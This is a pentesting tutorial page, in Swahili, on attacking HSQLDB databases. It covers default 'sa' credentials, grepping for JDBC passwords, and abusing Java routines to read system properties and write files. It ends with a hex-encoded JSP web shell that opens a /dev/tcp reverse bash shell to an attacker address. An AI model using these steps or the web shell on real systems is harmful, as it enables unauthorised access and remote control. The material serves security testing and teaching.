hacktricks/src/network-services-pentesting/9001-pentesting-hsqldb.md

70 lines
3.1 KiB
Markdown

{{#include ../banners/hacktricks-training.md}}
# Taarifa za Msingi
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** ni mfumo mkuu wa hifadhidata ya SQL inayohusiana iliyoandikwa kwa Java. Inatoa injini ndogo, ya haraka ya hifadhidata yenye nyuzi nyingi na ya muamala yenye meza za ndani na za diski na inasaidia hali za kuingizwa na seva.
**Bandari ya kawaida:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Taarifa
### Mipangilio ya Kawaida
Kumbuka kwamba kwa kawaida huduma hii inafanya kazi katika kumbukumbu au imefungwa kwa localhost. Ikiwa umeipata, huenda umevamia huduma nyingine na unatafuta kuongeza mamlaka.
Akawali, akidi za kawaida ni `sa` zikiwa na nenosiri tupu.
Ikiwa umevamia huduma nyingine, tafuta akidi zinazowezekana kwa kutumia
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Kumbuka jina la database kwa makini - utahitaji hilo kuungana.
# Info Gathering
Ungana na DB instance kwa [kupakua HSQLDB](https://sourceforge.net/projects/hsqldb/files/) na kutoa `hsqldb/lib/hsqldb.jar`. Endesha programu ya GUI \(eww\) kwa kutumia `java -jar hsqldb.jar` na uungane na instance kwa kutumia akidi zilizogunduliwa/dhaifu.
Kumbuka URL ya muunganisho itakuwa na muonekano kama huu kwa mfumo wa mbali: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Tricks
## Java Language Routines
Tunaweza kuita mbinu za statiki za darasa la Java kutoka HSQLDB kwa kutumia Java Language Routines. Kumbuka kwamba darasa linaloitwa linahitaji kuwa katika classpath ya programu.
JRTs zinaweza kuwa `functions` au `procedures`. Functions zinaweza kuitwa kupitia taarifa za SQL ikiwa mbinu ya Java inarudisha moja au zaidi ya mabadiliko ya msingi yanayofaa kwa SQL. Zinaitwa kwa kutumia taarifa ya `VALUES`.
Ikiwa mbinu ya Java tunayotaka kuita inarudisha void, tunahitaji kutumia taratibu inayoitwa kwa taarifa ya `CALL`.
## Reading Java System Properties
Unda kazi:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
Tekeleza kazi:
```text
VALUES(getsystemproperty('user.name'))
```
Unaweza kupata [orodha ya mali za mfumo hapa](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Andika Maudhui kwenye Faili
Unaweza kutumia `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget iliyoko katika JDK \(inayoingizwa kiotomatiki kwenye njia ya darasa la programu\) kuandika vitu vilivyoandikwa kwa hex kwenye diski kupitia utaratibu maalum. **Kumbuka ukubwa wa juu wa 1024 bytes**.
Unda utaratibu:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
Tekeleza utaratibu:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{{#include ../banners/hacktricks-training.md}}